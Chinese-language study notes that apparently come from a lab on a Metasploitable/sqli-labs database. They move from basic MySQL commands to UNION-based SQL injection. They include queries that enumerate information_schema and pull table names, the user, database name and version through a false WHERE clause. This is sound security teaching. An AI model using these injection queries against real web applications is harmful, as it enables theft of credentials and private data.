SQL:结构化查询语言(Structured Query Language)简称SQL。是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
数据库的分类:
SQL server 、 Mysql 、Oracal 、sqlite3 、DB2 、access等
数据库的使用:
进入mysql:
msfadmin@metasploitable:~$ mysql -u root
//-u :user -p :密码
mysql> show databases;
mysql> use security; //使用已有的数据库security
mysql> show tables; //查看security数据库下的表
mysql> select * from users; //查看users表的所有内容
SQL语言包含部分:
1.查询语句:
Where 限定内容
2.操作语句:
Insert :插入
Update:更改
Delete:删除
排序:order by 语句 (默认升序)
Mysql中选中的超出已有的,就会报错。只能等于或小于。可以判断当前表有多少列。
联合查询:将两张表的数据合在一个表里。
Union语句:
注意:两张表的列数要一样
mysql> select username,password from users union all select * from emails;
//email表里只有两列,所以用*。而users有多列就挑选两列出来,用逗号隔开。
mysql> select password from users where username='Dumb' union all select 1;
//select 1 因为没有form 就会直接显示你所写的。
系统里是有前面一部分的语句,会在当你提交Dumb时将密码查询出来,正常你只会提交Dumb,后台就会执行语句进行查询。
黑客就会利用union将想要的数据显示出来。(页面有显示的地方)
显示出数据库的库名
mysql> select password from users where username='1' union all select database();
利用一个表1查看另一个表2(攻击者角度),但不显示表1内容:
做法:where 限定查询表一里面不存在的数据,就会不出现表一内容。
mysql> select password from users where username='1' union all select 1;
系统库:
系统创建,会保存其他数据库的数据通过固有的格式。
主要关注MYSQL的系统数据库information_schema。
包括的表:
Schemata:记录所有数据库的名字。
Columns:记录所有数据库的列。
Tables:记录所有数据库表名。
Desc:查看列和数据类型
mysql> desc information_schema.schemata;
在系统数据库直接写schemata,在其他库查询就要带上你所要查询数据库的库名。
在当前库查询系统库数据里当前库的表名和列名。
mysql> select schema_name from information_schema.schemata;
查看当前所在的库名
mysql> desc information_schema.columns;
mysql> select table_schema,table_name,column_name from information_schema.columns where table_schema='security';
//从系统库的列里查询显示security数据库的库名、表名、列名。
显示列名不重复:
mysql> select column_name from information_schema.columns where table_schema='security' and table_name='users';
或
mysql> select distinct table_name from information_schema.columns where table_schema='security';
或
mysql> select table_name from information_schema.tables where table_schema='security';
而sql注入就是通过构造语句进行查询获取数据。
构造语句:将系统与所要查询的语句进行查询
select password from users where username='1' union all select table_name from information_schema.tables where table_schema='security';
mysql> select password from users where username='-1' union all select user();
函数可变查不同的 version(); session_user(); 等